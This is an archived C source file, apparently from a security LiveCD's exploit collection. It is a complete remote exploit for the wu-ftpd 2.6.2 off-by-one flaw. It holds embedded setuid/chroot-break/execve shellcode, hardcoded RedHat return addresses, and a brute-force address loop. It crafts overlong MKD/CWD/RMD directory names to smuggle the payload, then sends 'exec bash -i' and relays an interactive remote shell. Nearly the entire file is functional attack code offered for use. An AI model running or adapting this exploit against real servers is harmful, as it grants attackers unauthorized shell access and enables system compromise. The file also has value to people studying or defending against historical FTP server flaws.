home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / application / ftp / wuftpd / 0x82-wu262.c < prev    next >
C/C++ Source or Header  |  2005-02-12  |  18KB  |  703 lines
  1. /*
  2. **
  3. ** wu-ftpd v2.6.2 off-by-one remote 0day exploit.
  4. ** Public version - 2003/08/02
  5. **
  6. ** --
  7. ** This vulnerability was discovered by Wojciech Purczynski <cliph@isec.pl>,
  8. ** Janusz Niewiadomski <funkysh@isec.pl>.
  9. ** They offered excellent Advisory, I'm thankful to them.
  10. **
  11. ** URL: http://isec.pl/vulnerabilities/isec-0011-wu-ftpd.txt
  12. **
  13. ** --
  14. ** exploit by "you dong-hun"(Xpl017Elz), <szoahc@hotmail.com>.
  15. ** My World: http://x82.inetcop.org
  16. */
  17. /*
  18. ** -=-= POINT! POINT! POINT! POINT! POINT! =-=-
  19. **
  20. ** More useful version isn't going to share. (various test version)
  21. ** For reference, exploit method that use `STOR' command succeeded. :-)
  22. **
  23. ** Update: August 2, I added wu-ftpd-2.6.2, 2.6.0, 2.6.1 finally.
  24. **         August 3, Brute-Force function addition.
  25. ** --
  26. ** Thank you.
  27. **
  28. */
  29.  
  30. #define VERSION "v0.0.3"
  31. #include <stdio.h>
  32. #include <unistd.h>
  33. #include <stdlib.h>
  34. #include <netdb.h>
  35. #include <netinet/in.h>
  36. #include <sys/socket.h>
  37.  
  38. #define DEBUG_NG
  39. #undef DEBUG_NG
  40. #define NRL 0
  41. #define SCS 1
  42. #define FAD (-1)
  43. #define MAX_BF (16)
  44. #define BF_LSZ (0x100) /* 256 */
  45. #define DEF_VA 255
  46. #define DEF_PORT 21
  47. #define DEF_ANSH 11
  48. #define GET_HOST_NM_ERR (NULL)
  49. #define SIN_ZR_SIZE 8
  50. #define DEF_ALIGN 4
  51. #define GET_R 5000
  52. #define DEF_NOP 64
  53. #define DEF_STR "x0x"
  54. #define HOME_DIR "/home/"
  55. #define DEF_HOST "localhost"
  56. #define DEF_COMM "echo \"x82 is happy, x82 is happy, x82 is happy\";" \
  57. "uname -a;id;export TERM=vt100;exec bash -i\n"
  58. /* ftpd handshake */
  59. #define FTP_CONN_SCS "220"
  60. #define FTP_USER_FAD "331"
  61. #define FTP_LOGIN_FAD "530 Login incorrect."
  62. #define FTP_LOGIN_SCS "230"
  63. #define CWD_COMM_SCS "250" /* also, RMD command */
  64. #define MKD_COMM_SCS "257"
  65. #define MKD_EXIST "521"
  66.  
  67. void ftpd_login(int sock,char *user,char *pass);
  68. void conn_shell(int conn_sock);
  69. int setsock(char *u_host,int u_port);
  70. void re_connt(int st_sock_va);
  71. void prcode_usage(char *f_nm);
  72. int mkd_cwd_f(int sock,int type,char *dir_nm,int gb_character);
  73. int send_shellcode(int sock,int type,char *dir_nm);
  74. void make_send_exploit(int sock,int type,u_long sh_addr,int d_type);
  75. int make_retloc(int sock,int type,char *atk_bf,u_long sh_addr);
  76. u_long null_chk(u_long sh_addr);
  77. void banrl();
  78.  
  79. struct os
  80. {
  81.     int num;
  82.     char *v_nm;
  83.     u_long sh_addr;
  84. };
  85. int t_g=(NRL);
  86. char home_dir[(DEF_VA)]; /* user home directory offset */
  87. /*
  88. ** `0xff' uses two times to be realized in our shellcode.
  89. */
  90. char shellcode_ffx2[]=
  91.     /* setuid/chroot-break/execve shellcode by Lam3rZ */
  92.     "\x31\xc0\x31\xdb\x31\xc9\xb0\x46\xcd\x80\x31\xc0\x31\xdb\x43\x89"
  93.     "\xd9\x41\xb0\x3f\xcd\x80\xeb\x6b\x5e\x31\xc0\x31\xc9\x8d\x5e\x01"
  94.     "\x88\x46\x04\x66\xb9\xff\xff\x01\xb0\x27\xcd\x80\x31\xc0\x8d\x5e\x01"
  95.     "\xb0\x3d\xcd\x80\x31\xc0\x31\xdb\x8d\x5e\x08\x89\x43\x02\x31\xc9"
  96.     "\xfe\xc9\x31\xc0\x8d\x5e\x08\xb0\x0c\xcd\x80\xfe\xc9\x75\xf3\x31"
  97.     "\xc0\x88\x46\x09\x8d\x5e\x08\xb0\x3d\xcd\x80\xfe\x0e\xb0\x30\xfe"
  98.     "\xc8\x88\x46\x04\x31\xc0\x88\x46\x07\x89\x76\x08\x89\x46\x0c\x89"
  99.     "\xf3\x8d\x4e\x08\x8d\x56\x0c\xb0\x0b\xcd\x80\x31\xc0\x31\xdb\xb0"
  100.     "\x01\xcd\x80\xe8\x90\xff\xff\xff\xff\xff\xff\x30\x62\x69\x6e\x30\x73\x68\x31"
  101.     "\x2e\x2e\x31\x31";
  102.  
  103. struct os plat[]=
  104. {
  105.     /*
  106.     ** I enjoy version up, will not share more. :-}
  107.     */
  108.     {
  109.         0,"RedHat Linux 6.x Version wu-2.6.0(1) compile",0x0806a59c
  110.     },
  111.     {
  112.         1,"RedHat Linux 6.x Version wu-2.6.1(1) compile",0x0806aad8
  113.     },
  114.     {
  115.         2,"RedHat Linux 6.x Version wu-2.6.2(2) compile",0x0806aa60
  116.     },
  117.     {
  118.         0x82,NULL,0x0
  119.     },
  120.     {
  121.         0x8282,"Brute-Force mode",0x0806a082
  122.     }
  123. };
  124.  
  125. void prcode_usage(char *f_nm)
  126. {
  127.     int r_n=(NRL);
  128.     fprintf(stdout," Usage: %s -options arguments\n\n",f_nm);
  129.     fprintf(stdout," \t-h [hostname]   : Target hostname & ip.\n");
  130.     fprintf(stdout," \t-u [userid]     : User id.\n");
  131.     fprintf(stdout," \t-p [passwd]     : User password.\n");
  132.     fprintf(stdout," \t-n [port num]   : Target port number.\n");
  133.     fprintf(stdout," \t-s [shelladdr]  : Shellcode address.\n");
  134.     fprintf(stdout," \t-b              : Brute-Force mode.\n");
  135.     fprintf(stdout," \t-m [max num]    : Brute-Force Count number.\n");
  136.     fprintf(stdout," \t-i              : help information.\n");
  137.     fprintf(stdout," \t-t [target num] : Select target number.\n\n");
  138.     for(r_n=(NRL);plat[r_n].v_nm!=(NULL);r_n++)
  139.     {
  140.         fprintf(stdout," \t\t{%d} %s.\n",(plat[r_n].num),(plat[r_n].v_nm));
  141.     }
  142.     fprintf(stdout,"\n Example: %s -hlocalhost -ux82 -px82 -n21 -t0\n\n",f_nm);
  143.     exit(FAD);
  144. }
  145.  
  146. u_long null_chk(u_long sh_addr)
  147. {
  148.     if((sh_addr>>(NRL)&0xff)==(0x00))
  149.     {
  150.         return(sh_addr+=(SCS));
  151.     }
  152.     else return(sh_addr);
  153. }
  154.  
  155. void ftpd_login(int sock,char *user,char *pass)
  156. {
  157.     char send_recv[(GET_R)];
  158.  
  159.     (u_int)sleep(SCS);
  160.     memset((char *)send_recv,(NRL),sizeof(send_recv));
  161.     recv(sock,send_recv,sizeof(send_recv)-1,(NRL));
  162.  
  163.     if(!strstr(send_recv,(FTP_CONN_SCS)))
  164.     {
  165.         fprintf(stdout," [-] ftpd connection failure.\n\n");
  166.         close(sock);
  167.         exit(FAD);
  168.     }
  169.     else fprintf(stdout," [*] ftpd connection success.\n");
  170.     fprintf(stdout," [+] User id input.\n");
  171.  
  172.     memset((char *)send_recv,(NRL),sizeof(send_recv));
  173.     snprintf(send_recv,sizeof(send_recv)-1,"USER %s\r\n",user);
  174.     send(sock,send_recv,strlen(send_recv),(NRL));
  175.  
  176.     (u_int)sleep(SCS);
  177.     memset((char *)send_recv,(NRL),sizeof(send_recv));
  178.     recv(sock,send_recv,sizeof(send_recv)-1,(NRL));
  179.  
  180.     if(!strstr(send_recv,(FTP_USER_FAD)))
  181.     {
  182.         fprintf(stdout," [-] User id input failure.\n\n");
  183.         close(sock);
  184.         exit(FAD);
  185.     }
  186.     else fprintf(stdout," [+] User password input.\n");
  187.  
  188.     memset((char *)send_recv,(NRL),sizeof(send_recv));
  189.     snprintf(send_recv,sizeof(send_recv)-1,"PASS %s\r\n",pass);
  190.     send(sock,send_recv,strlen(send_recv),(NRL));
  191.  
  192.     (u_int)sleep(SCS);
  193.     memset((char *)send_recv,(NRL),sizeof(send_recv));
  194.     recv(sock,send_recv,sizeof(send_recv)-1,(NRL));
  195.  
  196.     if(strstr(send_recv,(FTP_LOGIN_FAD)))
  197.     {
  198.         fprintf(stdout," [-] FAILED LOGIN on %s.\n\n",user);
  199.         close(sock);
  200.         exit(FAD);
  201.     }
  202.     else if(strstr(send_recv,(FTP_LOGIN_SCS)))
  203.     {
  204.         fprintf(stdout," [*] User %s logged in.\n",user);
  205.     }
  206.     else
  207.     {
  208.         fprintf(stdout," [-] ftpd handshake failure.\n\n");
  209.         close(sock);
  210.         exit(FAD);
  211.     }
  212.     return;
  213. }
  214.  
  215. int mkd_cwd_f(int sock,int type,char *dir_nm,int gb_character)
  216. {
  217.     int dr_n=(NRL),cmd_f=(NRL);
  218.     char get_nm[(GET_R)];
  219.  
  220.     memset((char *)dir_nm,(NRL),(GET_R));
  221.     /* MKD command */
  222.     dir_nm[cmd_f++]=(0x4d);
  223.     dir_nm[cmd_f++]=(0x4b);
  224.     dir_nm[cmd_f++]=(0x44);
  225.     dir_nm[cmd_f++]=(0x20);
  226.  
  227.     for(dr_n=(cmd_f);dr_n<(DEF_VA)+(cmd_f);dr_n++)
  228.     {
  229.         dir_nm[dr_n]=(gb_character);
  230.     }
  231.     dir_nm[dr_n++]=(0x0d);
  232.     dir_nm[dr_n++]=(0x0a);
  233.  
  234.     if(type)
  235.     {
  236.         send(sock,dir_nm,strlen(dir_nm),(NRL));
  237.         (u_int)sleep(SCS);
  238.         memset((char *)get_nm,(NRL),sizeof(get_nm));
  239.         recv(sock,get_nm,sizeof(get_nm)-1,(NRL));
  240.  
  241.         if(!strstr(get_nm,(MKD_COMM_SCS))&&!strstr(get_nm,(MKD_EXIST)))
  242.         {
  243.             fprintf(stdout," [-] MKD command failed.\n\n");
  244.             exit(FAD);
  245.         }
  246.     }
  247.     /* CMD command */
  248.     cmd_f=(NRL);
  249.     dir_nm[cmd_f++]=(0x43);
  250.     dir_nm[cmd_f++]=(0x57);
  251.     dir_nm[cmd_f++]=(0x44);
  252.  
  253.     send(sock,dir_nm,strlen(dir_nm),(NRL));
  254.     (u_int)sleep(SCS);
  255.     memset((char *)get_nm,(NRL),sizeof(get_nm));
  256.     recv(sock,get_nm,sizeof(get_nm)-1,(NRL));
  257.  
  258.     if(!strstr(get_nm,(CWD_COMM_SCS)))
  259.     {
  260.         fprintf(stdout," [-] CWD command failed.\n\n");
  261.         exit(FAD);
  262.     }
  263.     return;
  264. }
  265.  
  266. int send_shellcode(int sock,int type,char *dir_nm)
  267. {
  268.     int dr_n=(NRL),cmd_f=(NRL);
  269.     char get_nm[(GET_R)];
  270.  
  271.     memset((char *)dir_nm,(NRL),(GET_R));
  272.     /* MKD command */
  273.     dir_nm[cmd_f++]=(0x4d);
  274.     dir_nm[cmd_f++]=(0x4b);
  275.     dir_nm[cmd_f++]=(0x44);
  276.     dir_nm[cmd_f++]=(0x20);
  277.  
  278.     for(dr_n=(cmd_f);dr_n<(DEF_VA)+sizeof(0xffffffff)+(cmd_f)-strlen(shellcode_ffx2);dr_n++)
  279.     {
  280.         dir_nm[dr_n]=(DEF_NOP);
  281.     }
  282.     for(cmd_f=(NRL);cmd_f<strlen(shellcode_ffx2);cmd_f++)
  283.     {
  284.         dir_nm[dr_n++]=shellcode_ffx2[cmd_f];
  285.     }
  286.     dir_nm[dr_n++]=(0x0d);
  287.     dir_nm[dr_n++]=(0x0a);
  288.  
  289.     if(type)
  290.     {
  291.         send(sock,dir_nm,strlen(dir_nm),(NRL));
  292.         (u_int)sleep(SCS);
  293.         memset((char *)get_nm,(NRL),sizeof(get_nm));
  294.         recv(sock,get_nm,sizeof(get_nm)-1,(NRL));
  295.  
  296.         if(!strstr(get_nm,(MKD_COMM_SCS))&&!strstr(get_nm,(MKD_EXIST)))
  297.         {
  298.             fprintf(stdout," [-] MKD shellcode_dir failed.\n\n");
  299.             exit(FAD);
  300.         }
  301.     }
  302.     /* CMD command */
  303.     cmd_f=(NRL);
  304.     dir_nm[cmd_f++]=(0x43);
  305.     dir_nm[cmd_f++]=(0x57);
  306.     dir_nm[cmd_f++]=(0x44);
  307.  
  308.     send(sock,dir_nm,strlen(dir_nm),(NRL));
  309.     (u_int)sleep(SCS);
  310.     memset((char *)get_nm,(NRL),sizeof(get_nm));
  311.     recv(sock,get_nm,(GET_R)-1,(NRL));
  312.  
  313.     if(!strstr(get_nm,(CWD_COMM_SCS)))
  314.     {
  315.         fprintf(stdout," [-] CWD shellcode_dir failed.\n\n");
  316.         exit(FAD);
  317.     }
  318.     return;
  319. }
  320.  
  321. void make_send_exploit(int sock,int type,u_long sh_addr,int d_type)
  322. {
  323.     char atk_bf[(GET_R)];
  324.     {
  325.         fprintf(stdout," [+] 01: make 0x41414141 directory.\n");
  326.         (int)mkd_cwd_f(sock,d_type,(atk_bf),(0x41));    /* 01 */
  327.         fprintf(stdout," [+] 02: make shell-code directory.\n");
  328.         (int)send_shellcode(sock,d_type,(atk_bf));    /* 02 */
  329.         fprintf(stdout," [+] 03: make 0x43434343 directory.\n");
  330.         (int)mkd_cwd_f(sock,d_type,(atk_bf),(0x43));    /* 03 */
  331.         fprintf(stdout," [+] 04: make 0x44444444 directory.\n");
  332.         (int)mkd_cwd_f(sock,d_type,(atk_bf),(0x44));    /* 04 */
  333.         fprintf(stdout," [+] 05: make 0x45454545 directory.\n");
  334.         (int)mkd_cwd_f(sock,d_type,(atk_bf),(0x45));    /* 05 */
  335.         fprintf(stdout," [+] 06: make 0x46464646 directory.\n");
  336.         (int)mkd_cwd_f(sock,d_type,(atk_bf),(0x46));    /* 06 */
  337.         fprintf(stdout," [+] 07: make 0x47474747 directory.\n");
  338.         (int)mkd_cwd_f(sock,d_type,(atk_bf),(0x47));    /* 07 */
  339.         fprintf(stdout," [+] 08: make 0x48484848 directory.\n");
  340.         (int)mkd_cwd_f(sock,d_type,(atk_bf),(0x48));    /* 08 */
  341.         fprintf(stdout," [+] 09: make 0x49494949 directory.\n");
  342.         (int)mkd_cwd_f(sock,d_type,(atk_bf),(0x49));    /* 09 */
  343.         fprintf(stdout," [+] 10: make 0x50505050 directory.\n");
  344.         (int)mkd_cwd_f(sock,d_type,(atk_bf),(0x50));    /* 10 */
  345.         fprintf(stdout," [+] 11: make 0x51515151 directory.\n");
  346.         (int)mkd_cwd_f(sock,d_type,(atk_bf),(0x51));    /* 11 */
  347.         fprintf(stdout," [+] 12: make 0x52525252 directory.\n");
  348.         (int)mkd_cwd_f(sock,d_type,(atk_bf),(0x52));    /* 12 */
  349.         fprintf(stdout," [+] 13: make 0x53535353 directory.\n");
  350.         (int)mkd_cwd_f(sock,d_type,(atk_bf),(0x53));    /* 13 */
  351.         fprintf(stdout," [+] 14: make 0x54545454 directory.\n");
  352.         (int)mkd_cwd_f(sock,d_type,(atk_bf),(0x54));    /* 14 */
  353.         fprintf(stdout," [+] 15: make 0x55555555 directory.\n");
  354.         (int)mkd_cwd_f(sock,d_type,(atk_bf),(0x55));    /* 15 */
  355.         (int)make_retloc(sock,type,(atk_bf),sh_addr); /* 16 */
  356.     }
  357.     return;
  358. }
  359.  
  360. int make_retloc(int sock,int type,char *atk_bf,u_long sh_addr)
  361. {
  362.     int r_rn_1=(NRL),r_rn_2=(NRL),cmd_f=(NRL);
  363.     char get_nm[(GET_R)];
  364.  
  365.     memset((char *)atk_bf,(NRL),(GET_R));
  366.     if(type) /* MKD command */
  367.     {
  368.         atk_bf[cmd_f++]=(0x4d);
  369.         atk_bf[cmd_f++]=(0x4b);
  370.         atk_bf[cmd_f++]=(0x44);
  371.         atk_bf[cmd_f++]=(0x20);
  372.     }
  373.     else /* RMD command */
  374.     {
  375.         atk_bf[cmd_f++]=(0x52);
  376.         atk_bf[cmd_f++]=(0x4d);
  377.         atk_bf[cmd_f++]=(0x44);
  378.         atk_bf[cmd_f++]=(0x20);
  379.     }
  380.     for(r_rn_1=(cmd_f),r_rn_2=(NRL);r_rn_2<(DEF_VA)-strlen(home_dir)-(DEF_ANSH);r_rn_2++)
  381.         atk_bf[r_rn_1++]=(0x41);
  382.     {
  383.         *(long *)&atk_bf[r_rn_1]=(sh_addr);
  384.         r_rn_1+=(DEF_ALIGN);
  385.         *(long *)&atk_bf[r_rn_1]=(sh_addr);
  386.         r_rn_1+=(DEF_ALIGN);
  387.         atk_bf[r_rn_1++]=(0x41);
  388.         atk_bf[r_rn_1++]=(0x41);
  389.         atk_bf[r_rn_1++]=(0x41);
  390.         atk_bf[r_rn_1++]=(0x0d);
  391.         atk_bf[r_rn_1++]=(0x0a);
  392.     }
  393.     send(sock,atk_bf,strlen(atk_bf),(NRL));
  394.     (u_int)sleep(SCS);
  395.     memset((char *)get_nm,(NRL),sizeof(get_nm));
  396.     recv(sock,get_nm,sizeof(get_nm)-1,(NRL));
  397.  
  398.     if(type) /* MKD command */
  399.     {
  400.         if(!strstr(get_nm,(MKD_COMM_SCS))&&!strstr(get_nm,(MKD_EXIST)))
  401.         {
  402.             fprintf(stdout," [-] MKD &shellcode_dir failed.\n\n");
  403.             exit(FAD);
  404.         }
  405.         else fprintf(stdout," [+] Ok, MKD &shellcode_dir.\n");
  406.     }
  407.     else /* RMD command */
  408.     {
  409.         if(!strstr(get_nm,(CWD_COMM_SCS)))
  410.         {
  411.             fprintf(stdout," [-] RMD &shellcode_dir failed.\n\n");
  412.             exit(FAD);
  413.         }
  414.         else fprintf(stdout," [+] Ok, RMD &shellcode_dir.\n");
  415.     }
  416.     return;
  417. }
  418.  
  419. int main(int argc,char *argv[])
  420. {
  421.     int opt_g,sock,__bf=(NRL);
  422.     int mx_bf=(MAX_BF),bf_lsz=(BF_LSZ);
  423.     char user_id[(DEF_VA)]=(DEF_STR);
  424.     char pass_wd[(DEF_VA)]=(DEF_STR);
  425.     char tg_host[(DEF_VA)]=(DEF_HOST);
  426.     int tg_port=(DEF_PORT);
  427.     u_long sh_addr=(plat[t_g].sh_addr);
  428.  
  429.     (void)banrl();
  430.     while((opt_g=getopt(argc,argv,"M:m:H:h:U:u:P:p:N:n:S:s:T:t:BbIi"))!=EOF)
  431.     {
  432.         extern char *optarg;
  433.         switch(opt_g)
  434.         {
  435.             case 'M':
  436.             case 'm':
  437.                 mx_bf=(atoi(optarg));
  438.                 bf_lsz=((0x1000)/mx_bf);
  439.                 break;
  440.  
  441.             case 'H':
  442.             case 'h':
  443.                 memset((char *)tg_host,(NRL),sizeof(tg_host));
  444.                 strncpy(tg_host,optarg,sizeof(tg_host)-1);
  445.                 break;
  446.                 
  447.             case 'U':
  448.             case 'u':
  449.                 memset((char *)user_id,(NRL),sizeof(user_id));
  450.                 strncpy(user_id,optarg,sizeof(user_id)-1);
  451.                 break;
  452.                 
  453.             case 'P':
  454.             case 'p':
  455.                 memset((char *)pass_wd,(NRL),sizeof(pass_wd));
  456.                 strncpy(pass_wd,optarg,sizeof(pass_wd)-1);
  457.                 break;
  458.                 
  459.             case 'N':
  460.             case 'n':
  461.                 tg_port=(atoi(optarg));
  462.                 break;
  463.                 
  464.             case 'S':
  465.             case 's':
  466.                 sh_addr=strtoul(optarg,(NRL),(NRL));
  467.                 break;
  468.                 
  469.             case 'T':
  470.             case 't':
  471.                 if((t_g=(atoi(optarg)))<(3))
  472.                     sh_addr=(plat[t_g].sh_addr);
  473.                 else (void)prcode_usage(argv[(NRL)]);
  474.                 break;
  475.                 
  476.             case 'B':
  477.             case 'b':
  478.                 __bf=(SCS);
  479.                 break;
  480.                 
  481.             case 'I':
  482.             case 'i':
  483.                 (void)prcode_usage(argv[(NRL)]);
  484.                 break;
  485.                 
  486.             case '?':
  487.                 (void)prcode_usage(argv[(NRL)]);
  488.                 break;
  489.         }
  490.     }
  491.     if(!strcmp(user_id,(DEF_STR))||!strcmp(pass_wd,(DEF_STR)))
  492.         (void)prcode_usage(argv[(NRL)]);
  493.     
  494.     memset((char *)home_dir,(NRL),sizeof(home_dir));
  495.     snprintf(home_dir,sizeof(home_dir)-1,"%s%s",(HOME_DIR),user_id);
  496.  
  497.     if(!__bf)
  498.     {
  499.         fprintf(stdout," [*] Target: %s.\n",(plat[t_g].v_nm));
  500.         fprintf(stdout," [+] address: %p.\n",sh_addr);
  501.         fprintf(stdout," [*] #1 Try, %s:%d ...",tg_host,tg_port);
  502.         fflush(stdout);
  503.  
  504.         sock=(int)setsock(tg_host,tg_port);
  505.         (void)re_connt(sock);
  506.         fprintf(stdout," [  OK  ]\n");
  507.  
  508.         fprintf(stdout," [1] ftpd connection login.\n");
  509.         (void)ftpd_login(sock,user_id,pass_wd);
  510.  
  511.         fprintf(stdout," [2] send exploit code.\n");
  512.         (void)make_send_exploit(sock,(SCS),sh_addr,(SCS));
  513.         close(sock);
  514.  
  515.         fprintf(stdout," [+] #2 Try, %s:%d ...",tg_host,tg_port);
  516.         fflush(stdout);
  517.  
  518.         sock=(int)setsock(tg_host,tg_port);
  519.         (void)re_connt(sock);
  520.         fprintf(stdout," [  OK  ]\n");
  521.  
  522.         fprintf(stdout," [3] ftpd connection login.\n");
  523.         (void)ftpd_login(sock,user_id,pass_wd);
  524.  
  525.         fprintf(stdout," [4] send exploit code.\n");
  526.         (void)make_send_exploit(sock,(NRL),sh_addr,(NRL));
  527.  
  528.         fprintf(stdout," [5] Waiting, execute the shell ");
  529.         fflush(stdout);
  530.         (u_int)sleep(SCS);
  531.         
  532.         fprintf(stdout,".");
  533.         fflush(stdout);
  534.         (u_int)sleep(SCS);
  535.         
  536.         fprintf(stdout,".");
  537.         fflush(stdout);
  538.         (u_int)sleep(SCS);
  539.  
  540.         fprintf(stdout,".\n");
  541.         (void)conn_shell(sock);
  542.         close(sock);
  543.     }
  544.     else
  545.     {
  546.         int bt_num=(NRL);
  547.         t_g=(4);
  548.         sh_addr=(plat[t_g].sh_addr);
  549.         fprintf(stdout," [*] Brute-Force mode.\n");
  550.         fprintf(stdout," [+] BF Count: %d.\n",mx_bf);
  551.         fprintf(stdout," [+] BF Size: +%d.\n\n",bf_lsz);
  552.  
  553.         for(bt_num=(NRL);bt_num<(mx_bf);bt_num++)
  554.         {
  555.             sh_addr=(u_long)null_chk(sh_addr);
  556.             fprintf(stdout," [+] Brute-Force address: %p.\n",sh_addr);
  557.             fprintf(stdout," [*] #1 Try, %s:%d ...",tg_host,tg_port);
  558.             fflush(stdout);
  559.             
  560.             sock=(int)setsock(tg_host,tg_port);
  561.             (void)re_connt(sock);
  562.             fprintf(stdout," [  OK  ]\n");
  563.             
  564.             fprintf(stdout," [1] ftpd connection login.\n");
  565.             (void)ftpd_login(sock,user_id,pass_wd);
  566.             
  567.             fprintf(stdout," [2] send exploit code.\n");
  568.             if(bt_num==(NRL))
  569.             {
  570.                 (void)make_send_exploit(sock,(SCS),sh_addr,(SCS));
  571.             }
  572.             else
  573.             {
  574.                 (void)make_send_exploit(sock,(SCS),sh_addr,(NRL));
  575.             }
  576.             close(sock);
  577.             
  578.             fprintf(stdout," [+] #2 Try, %s:%d ...",tg_host,tg_port);
  579.             fflush(stdout);
  580.             
  581.             sock=(int)setsock(tg_host,tg_port);
  582.             (void)re_connt(sock);
  583.             fprintf(stdout," [  OK  ]\n");
  584.             
  585.             fprintf(stdout," [3] ftpd connection login.\n");
  586.             (void)ftpd_login(sock,user_id,pass_wd);
  587.             
  588.             fprintf(stdout," [4] send exploit code.\n");
  589.             (void)make_send_exploit(sock,(NRL),sh_addr,(NRL));
  590.             
  591.             fprintf(stdout," [5] Waiting, execute the shell ");
  592.             fflush(stdout);
  593.             (u_int)sleep(SCS);
  594.  
  595.             fprintf(stdout,".");
  596.             fflush(stdout);
  597.             (u_int)sleep(SCS);
  598.             
  599.             fprintf(stdout,".");
  600.             fflush(stdout);
  601.             (u_int)sleep(SCS);
  602.             
  603.             fprintf(stdout,".\n");
  604.             (void)conn_shell(sock);
  605.             close(sock);
  606.  
  607.             sh_addr+=(bf_lsz);
  608.         }
  609.     }
  610.     exit(NRL);
  611. }
  612.  
  613. int setsock(char *u_host,int u_port)
  614. {
  615.     int sock;
  616.     struct hostent *sxp;
  617.     struct sockaddr_in sxp_addr;
  618.  
  619.     if((sxp=gethostbyname(u_host))==(GET_HOST_NM_ERR))
  620.     {
  621.         return(FAD);
  622.     }
  623.     if((sock=socket(AF_INET,SOCK_STREAM,(NRL)))==(FAD))
  624.     {
  625.         return(FAD);
  626.     }
  627.     sxp_addr.sin_family=AF_INET;
  628.     sxp_addr.sin_port=htons(u_port);
  629.     sxp_addr.sin_addr=*((struct in_addr*)sxp->h_addr);
  630.     bzero(&(sxp_addr.sin_zero),(SIN_ZR_SIZE));
  631.  
  632.     if(connect(sock,(struct sockaddr *)&sxp_addr,sizeof(struct sockaddr))==(FAD))
  633.     {
  634.         return(FAD);
  635.     }
  636.     return(sock);
  637. }
  638.  
  639. void conn_shell(int conn_sock)
  640. {
  641.     int died;
  642.     int ex_t=(NRL);
  643.     char *command=(DEF_COMM);
  644.     char readbuf[(GET_R)];
  645.     fd_set rset;
  646.  
  647.     memset((char *)readbuf,(NRL),sizeof(readbuf));
  648.     fprintf(stdout," [*] Send, command packet !\n\n");
  649.     send(conn_sock,command,strlen(command),(NRL));
  650.  
  651.     for(;;)
  652.     {
  653.         fflush(stdout);
  654.         FD_ZERO(&rset);
  655.         FD_SET(conn_sock,&rset);
  656.         FD_SET(STDIN_FILENO,&rset);
  657.         select(conn_sock+1,&rset,NULL,NULL,NULL);
  658.  
  659.         if(FD_ISSET(conn_sock,&rset))
  660.         {
  661.             died=read(conn_sock,readbuf,sizeof(readbuf)-1);
  662.             if(died<=(NRL))
  663.             {
  664.                 if(!ex_t)
  665.                     return;
  666.                 else
  667.                     exit(NRL);
  668.             }
  669.             readbuf[died]=(NRL);
  670.             fprintf(stdout,"%s",readbuf);
  671.         }
  672.         if(FD_ISSET(STDIN_FILENO,&rset))
  673.         {
  674.             died=read(STDIN_FILENO,readbuf,sizeof(readbuf)-1);
  675.             if(died>(NRL))
  676.             {
  677.                 readbuf[died]=(NRL);
  678.                 if(strstr(readbuf,"exit"))
  679.                     ex_t=(SCS);
  680.                 write(conn_sock,readbuf,died);
  681.             }
  682.         }
  683.     }
  684.     return;
  685. }
  686.  
  687. void re_connt(int st_sock_va)
  688. {
  689.     if(st_sock_va==(FAD))
  690.     {
  691.         fprintf(stdout," [ Fail ]\n\n");
  692.         exit(FAD);
  693.     }
  694. }
  695.  
  696. void banrl()
  697. {
  698.     fprintf(stdout,"\n 0x82-WOOoou~Happy_new - wu-ftpd v2.6.2 off-by-one remote exploit.\n\n");
  699. }
  700.  
  701. /* eoc */
  702.  
  703.